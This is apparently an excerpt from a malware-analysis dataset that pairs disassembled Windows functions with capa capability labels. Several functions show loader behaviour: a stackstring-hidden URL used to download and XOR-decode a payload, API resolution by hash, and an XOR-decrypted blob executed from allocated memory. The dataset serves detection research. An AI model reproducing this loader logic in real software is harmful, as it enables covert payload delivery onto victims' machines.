joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140c3ede7
Capabilities:
Encode data using xor

Disassembly:
bswap r8
add r8, r8
lea r8, [0x140c793d0]
lea rsp, [rsp + 8]
mov r10d, 0x13906c3b
sar r10d, 0x63
movzx r10d, byte [r10 + rax - 0x2720d87]
xor r10d, edx
push 0xffffffffe5bd70a3
and r10d, 0xff
mov r10d, dword [r8 + r10*4]
shr edx, 8
xor edx, r10d
push 0xffffffffaeafd6b0
inc rax
sar dword [rsp + 5], 0x25
xor edx, 0x6f830220
push 0x42be179f
dec rcx
lea rsp, [rsp + 0x18]
jne 0x140c3edf9
mov r10d, 0xc237df1c
lea r10, [r10 + r10*2 + 0x58313423]
pop r10

Function at 0x140c59ebc
Capabilities:
Encode data using xor

Disassembly:
not eax
call fcn.140c40bc6
test rcx, rcx
lea rsp, [rsp + 0x10]
je 0x140c4d056
push 0x4d846826
push 0xffffffffc23b2e32
mov qword [rsp + 8], r11
jmp 0x140c79b0f
lea r11, [0x140c474b0]
mov ebx, 0x7a864bbe
movzx ebx, byte [r10 + rbx - 0x7a864bbe]
push 0xffffffffdb182620
xor ebx, eax
dec byte [rsp + 1]
and ebx, 0xff
mov ebx, dword [r11 + rbx*4]
shr eax, 8
xor eax, ebx
inc r10
xor eax, 0x7d3dc8a6
shr word [rsp + 1], 0x84
dec rcx
lea rsp, [rsp + 8]
jne 0x140c703a7
mov ebx, 0x463b8e0b
push rbx
mov rbx, qword [rsp + rbx - 0x463b8e03]
call fcn.140c4d04c
mov qword [rsp], rbx
mov ebx, 0x301cb427
jmp 0x140c703a0

Function at 0x140c6a7cd
Capabilities:
Execute anti-debugging instructions

Disassembly:
not r10d
inc sil
call fcn.140c3fdf1
rdtsc
call fcn.140c4d351
Function at 0x1400017a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r10, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r9d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r9, r9
je 0x140001816
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x14001bbf0]
mov eax, dword [r11 + rax*4]
add rsi, r10
mov ecx, 0xf
add rax, r10
repe cmpsb byte [rsi], byte [rdi]
je 0x14000180c
inc r8
cmp r8, r9
jb 0x1400017e0
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rbx, qword [rsp + 0x20]
pop rbp
ret
Function at 0x140001e60
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x740068
mov dword [rbp - 0x55], 0x700074
mov dword [rbp - 0x51], 0x3a0073
mov dword [rbp - 0x4d], 0x2f002f
mov dword [rbp - 0x49], 0x610062
mov dword [rbp - 0x45], 0x640069
mov dword [rbp - 0x41], 0x310075
mov dword [rbp - 0x3d], 0x31002d
mov dword [rbp - 0x39], 0x320033
mov dword [rbp - 0x35], 0x310036
mov dword [rbp - 0x31], 0x310030
mov dword [rbp - 0x2d], 0x320030
mov dword [rbp - 0x29], 0x2e0038
mov dword [rbp - 0x25], 0x6f0063
mov dword [rbp - 0x21], 0x2e0073
mov dword [rbp - 0x1d], 0x700061
mov dword [rbp - 0x19], 0x68002d
mov dword [rbp - 0x15], 0x6e006f
mov dword [rbp - 0x11], 0x6b0067
mov dword [rbp - 0xd], 0x6e006f
mov dword [rbp - 9], 0x2e0067
mov dword [rbp - 5], 0x79006d
mov dword [rbp - 1], 0x630071
mov dword [rbp + 3], 0x6f006c
mov dword [rbp + 7], 0x640075
mov dword [rbp + 0xb], 0x63002e
mov dword [rbp + 0xf], 0x6d006f
mov dword [rbp + 0x13], 0x37002f
mov dword [rbp + 0x17], 0x2e0037
mov dword [rbp + 0x1b], 0x6e0070
mov dword [rbp + 0x1f], 0x67
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.140001820
test al, al
jne 0x140001f94
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1400020b2
call fcn.140005720
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x140001fbe
nop word [rax + rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140001fb0
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.1400017a0
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov rdi, rax
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x506c6175
mov dword [rsp + 0x48], 0x65746f72
mov word [rbp - 0x7d], 0x7463
mov byte [rbp - 0x7b], r13b
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], r13b
mov dword [rbp - 0x79], 0x74696157
mov dword [rbp - 0x75], 0x53726f46
mov dword [rbp - 0x71], 0x6c676e69
mov dword [rbp - 0x6d], 0x6a624f65
mov dword [rbp - 0x69], 0x746365
call rdi
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x79]
mov rcx, rsi
mov r12, rax
call rdi
mov rdi, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rcx, rdi
mov rsi, rax
call rbx
movsxd rdx, dword [rbp + 0x67]
mov r9, rdx
test edx, edx
je 0x14000208b
mov rcx, rdi
nop dword [rax]
xor byte [rcx], 0x69
inc rcx
dec r9
jne 0x140002080
mov rcx, rdi
call fcn.140001dd0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x148]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002620
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x14001bc78]
lea rcx, [rsp + 0x30]
call fcn.140004d90
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x58]
call fcn.140004d90
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x80]
call fcn.140004d90
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x1400026d4
mov rcx, qword [rbx]
jmp 0x1400026d7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000270b
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x1400026c8
lea r9, [0x140003170]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.140007798
xor al, al
jmp 0x140002727
lea r9, [0x140003170]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.140007798
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret
Function at 0x1400046d0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rdi, rcx
cmp qword [rcx + 0x80], 0
je 0x140004909
cmp byte [rcx + 0x89], 0
je 0x140004909
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400048dd
mov edx, 0xf
mov qword [rbp - 0x10], rdx
mov byte [rbp - 0x28], 0
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], 8
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
xor r12d, r12d
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
lea rdx, [rbp - 0x28]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x28]
cmovae r8, r10
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x1400047a8
dec eax
jne 0x1400048a7
jmp 0x1400047af
mov byte [rdi + 0x89], r12b
lea rax, [rbp - 0x28]
mov r10, qword [rbp - 0x28]
mov r9, qword [rbp - 0x10]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rbp + 0x20]
sub rbx, rax
je 0x1400047fd
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x98]
mov r8, rbx
mov edx, 1
call fcn.140007c68
cmp rbx, rax
jne 0x1400048cd
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
cmp byte [rdi + 0x89], r12b
je 0x1400048fb
test rbx, rbx
jne 0x140004760
or rax, 0xffffffffffffffff
mov r8, qword [rbp - 0x18]
sub rax, r8
cmp rax, 8
jbe 0x1400048ee
lea rbx, [r8 + 8]
cmp rbx, 0xfffffffffffffffe
ja 0x1400048e1
cmp r9, rbx
jae 0x140004851
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.140004a90
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp - 0x28]
jmp 0x14000486e
test rbx, rbx
jne 0x140004877
mov qword [rbp - 0x18], r12
lea rax, [rbp - 0x28]
cmp r9, 0x10
cmovae rax, r10
mov byte [rax], r12b
jmp 0x14000474b
test rbx, rbx
je 0x140004760
lea rcx, [rbp - 0x28]
cmp r9, 0x10
cmovae rcx, r10
mov rax, qword [rbp - 0x18]
xor edx, edx
mov qword [rcx + rax], rdx
mov qword [rbp - 0x18], rbx
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rax, qword [rbp - 0x28]
mov byte [rax + rbx], dl
jmp 0x14000474b
sub eax, 2
je 0x1400048c0
cmp qword [rbp - 0x10], 0x10
jb 0x1400048dd
mov rcx, qword [rbp - 0x28]
call fcn.140007a4c
xor al, al
jmp 0x14000490b
cmp qword [rbp - 0x10], 0x10
jb 0x140004909
mov rcx, qword [rbp - 0x28]
jmp 0x140004904
cmp qword [rbp - 0x10], 0x10
jb 0x1400048dd
mov rcx, qword [rbp - 0x28]
call fcn.140007a4c
xor al, al
jmp 0x14000490b
lea rcx, str.string_too_long
call fcn.140005af4
int3
lea rcx, str.string_too_long
call fcn.140005af4
nop
cmp r9, 0x10
jb 0x140004909
mov rcx, r10
call fcn.140007a4c
mov al, 1
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret

Function at 0x140005720
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret
Function at 0x14000ca9c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000c90c

Function at 0x140014620
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140020ab8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000eb78
xor ebx, ebx
cmp qword [0x140022a28], rbx
mov rdi, rax
jne 0x140014733
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001480a
lea rdx, [0x14001bb18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001480a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140022a28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140022a30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140022a38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140022a48], rax
test rax, rax
je 0x14001472a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140022a40], rax
jmp 0x14001473a
mov rax, qword [0x140022a40]
jmp 0x140014741
mov rax, qword [0x140022a40]
mov r11, qword [0x140022a48]
cmp rax, rdi
je 0x1400147a8
cmp r11, rdi
je 0x1400147a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140022a48]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400147a8
test rax, rax
je 0x1400147a8
call rsi
test rax, rax
je 0x1400147a2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400147a2
test byte [rsp + 0x40], 1
jne 0x1400147a8
bts ebp, 0x15
jmp 0x1400147e8
mov rcx, qword [0x140022a30]
cmp rcx, rdi
je 0x1400147e8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400147e8
call rax
mov rbx, rax
test rax, rax
je 0x1400147e8
mov rcx, qword [0x140022a38]
cmp rcx, rdi
je 0x1400147e8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400147e8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140022a28]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001480a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14001480c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000f320
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140014caf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140020ab8]
jne 0x14000f33a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000f336
repz ret
ror rcx, 0x10
jmp 0x140014c08
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140022af0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140022be8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140014c8d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140022af0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140014caf
mov rax, qword [rsp + 0x88]
mov qword [0x140022be8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140022b88], rax
mov rax, qword [0x140022be8]
mov qword [0x140022a60], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140022b70], rax
mov dword [0x140022a50], 0xc0000409
mov dword [0x140022a54], 1
mov rax, qword [0x140020ab8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140020ac0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140022ae8], eax
mov ecx, 1
call fcn.140013714
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001bb40]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140022ae8], 0
jne 0x140014d36
mov ecx, 1
call fcn.140013714
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400016e0
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, rdx
mov rsi, rdx
or ebx, 0xffffffff
call qword [sym.imp.WS2_32.dll_inet_addr]
mov r8d, eax
cmp eax, ebx
je 0x14000170e
mov dword [rsp + 0x40], eax
jmp 0x140001731
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x140001728
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov r8d, dword [rcx]
jmp 0x14000172c
or r8d, 0xffffffff
mov dword [rsp + 0x40], r8d
cmp r8d, ebx
je 0x14000176e
mov rax, qword [rdi]
cmp rax, rdi
je 0x14000176e
mov cl, byte [rsp + 0x43]
mov dl, byte [rsp + 0x42]
mov r9b, byte [rsp + 0x41]
cmp r8b, byte [rax + 0x10]
jne 0x140001761
cmp r9b, byte [rax + 0x11]
jne 0x140001761
cmp dl, byte [rax + 0x12]
jne 0x140001761
cmp cl, byte [rax + 0x13]
je 0x14000176b
mov rax, qword [rax]
cmp rax, rdi
je 0x14000176e
jmp 0x14000174b
mov ebx, dword [rax + 0x14]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140002748
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov r9, rcx
mov rbx, r8
mov ebp, edx
invalid

Function at 0x140002820
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
sbb byte [rax - 0x77], cl
je 0x140002849
and byte [rbp + 0x57], dl
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x20
mov rax, qword gs:[0x60]
xor r14d, r14d
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x20]
test rdx, rdx
je 0x14000289f
movzx eax, word [rdx + 0x48]
mov r8d, r14d
shr eax, 1
mov r9, qword [rdx + 0x50]
je 0x140002894
mov r10d, eax
movzx ecx, word [r9]
lea r9, [r9 + 2]
cmp cx, 0x61
lea eax, [rcx - 0x20]
cmovb ax, cx
imul r8d, r8d, 0x83
movzx ecx, ax
add r8d, ecx
sub r10, 1
jne 0x140002860
btr r8d, 0x1f
cmp r8d, 0x1cca9ce6
je 0x140002899
mov rdx, qword [rdx]
jmp 0x140002849
mov r15, qword [rdx + 0x20]
jmp 0x1400028a2
mov r15, r14
xor r8d, r8d
mov edx, 0x1ab9b854
mov rcx, r15
call fcn.140002748
mov r8, rax
mov edx, 0x7f201f78
mov rcx, r15
mov rdi, rax
call fcn.140002748
mov r8, rdi
mov edx, 0x5e893462
mov rcx, r15
mov rbx, rax
call fcn.140002748
mov r8, rdi
mov edx, 0x6488073
mov rcx, r15
mov rsi, rax
call fcn.140002748
lea rcx, [rbp + 0x30]
mov dword [rbp + 0x30], 0x6c64746e
mov r15, rax
mov word [rbp + 0x34], 0x6c
call rbx
mov r8, rdi
mov edx, 0xdb579cb
mov rcx, rax
mov rbx, rax
call fcn.140002748
mov r8, rdi
mov edx, 0x1518e9c0
mov rcx, rbx
call fcn.140002748
xor ecx, ecx
lea r12, [0x1400029ec]
mov edx, dword [r12 + 8]
mov r8d, 0x3000
mov rdi, rax
lea r9d, [rcx + 0x40]
call rsi
mov r8d, dword [r12 + 8]
lea rdx, [r12 + 0xc]
mov rcx, rax
mov rsi, rax
call rdi
mov rdx, qword [r12]
mov rax, rdx
mov byte [rbp + 0x38], dl
shr rax, 0x18
mov rcx, rdx
mov byte [rbp + 0x3b], al
mov rax, rdx
shr rax, 0x20
mov byte [rbp + 0x3c], al
mov rax, rdx
shr rax, 0x28
shr rcx, 8
mov byte [rbp + 0x3d], al
mov rax, rdx
mov byte [rbp + 0x39], cl
mov rcx, rdx
shr rax, 0x30
shr rcx, 0x10
shr rdx, 0x38
mov byte [rbp + 0x3a], cl
mov byte [rbp + 0x3e], al
mov byte [rbp + 0x3f], dl
cmp dword [r12 + 8], r14d
jbe 0x1400029c4
mov edx, dword [r12 + 8]
mov rcx, rsi
mov rax, r14
inc r14
and eax, 7
mov al, byte [rbp + rax + 0x38]
xor byte [rcx], al
inc rcx
sub rdx, 1
jne 0x1400029ac
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call r15
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140003da0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r14
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor r14d, r14d
xor eax, eax
lock cmpxchg qword [0x140005ea8], rbx
je 0x140003df2
cmp rax, rbx
jne 0x140003de5
mov ebx, 1
mov r14d, ebx
jmp 0x140003df7
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x140003dc9
mov ebx, 1
mov eax, dword [0x140005eb0]
cmp eax, ebx
jne 0x140003e0d
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x140003e76
mov eax, dword [0x140005eb0]
test eax, eax
jne 0x140003e70
mov dword [0x140005eb0], ebx
lea r12, [0x140001030]
lea rdi, [0x140001018]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r12
jae 0x140003e62
test eax, eax
jne 0x140003e66
mov rsi, qword [rdi]
test rsi, rsi
je 0x140003e57
mov rcx, rsi
mov rax, qword [0x1400072c0]
call rax
call rsi
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140003e34
test eax, eax
je 0x140003e76
mov eax, 0xff
jmp 0x140003f57
mov dword [0x1400058e4], ebx
mov eax, dword [0x140005eb0]
cmp eax, ebx
jne 0x140003e9d
lea rdx, [0x140001010]
lea rcx, [section..text]
call sub.msvcrt.dll__initterm
mov dword [0x140005eb0], 2
test r14d, r14d
jne 0x140003eab
xor eax, eax
xchg qword [0x140005ea8], rax
cmp qword [0x140005eb8], 0
je 0x140003ee3
lea rcx, [0x140005eb8]
call fcn.140004300
test eax, eax
je 0x140003ee3
mov rbx, qword [0x140005eb8]
mov rcx, rbx
mov rax, qword [0x1400072c0]
call rax
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
mov r8, qword [0x1400058f8]
mov rdx, qword [0x1400058f0]
mov ecx, dword [0x1400058e8]
call fcn.1400013a4
mov dword [0x1400058e0], eax
cmp dword [0x140005900], 0
jne 0x140003f13
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400058e4], 0
jne 0x140003f28
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400058e0]
jmp 0x140003f57
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
sub rsp, 0x28
call fcn.140004394
add rsp, 0x28
jmp 0x140003da0

Function at 0x140003fd4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
Function at 0x1400041fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140004248
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140004240
cmp dword [rcx + 0x3c], edx
jl 0x140004240
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140004240
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140004248
mov rax, rdx
add rsp, 0x18
ret

Function at 0x140004394
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005008]
and qword [rbp + 0x18], 0
movabs rbx, 0x2b992ddfa232
cmp rax, rbx
jne 0x14000444f
lea rcx, [rbp + 0x18]
call qword [sym.imp.api_ms_win_core_sysinfo_l1_2_1.dll_GetSystemTimeAsFileTime]
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x10], rax
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcessId]
mov eax, eax
xor qword [rbp + 0x10], rax
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentThreadId]
mov eax, eax
xor qword [rbp + 0x10], rax
call qword [sym.imp.api_ms_win_core_sysinfo_l1_2_1.dll_GetTickCount]
mov eax, eax
shl rax, 0x18
xor qword [rbp + 0x10], rax
call qword [sym.imp.api_ms_win_core_sysinfo_l1_2_1.dll_GetTickCount]
lea rcx, [rbp + 0x10]
mov eax, eax
xor rax, qword [rbp + 0x10]
xor rax, rcx
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x10], rax
call qword [sym.imp.api_ms_win_core_profile_l1_1_0.dll_QueryPerformanceCounter]
mov eax, dword [rbp + 0x20]
shl rax, 0x20
movabs rcx, 0xffffffffffff
xor rax, qword [rbp + 0x20]
xor rax, qword [rbp + 0x10]
and rax, rcx
movabs rcx, 0x2b992ddfa233
cmp rax, rbx
cmove rax, rcx
mov qword [0x140005008], rax
mov rbx, qword [rsp + 0x48]
not rax
mov qword [0x140005010], rax
add rsp, 0x20
pop rbp
ret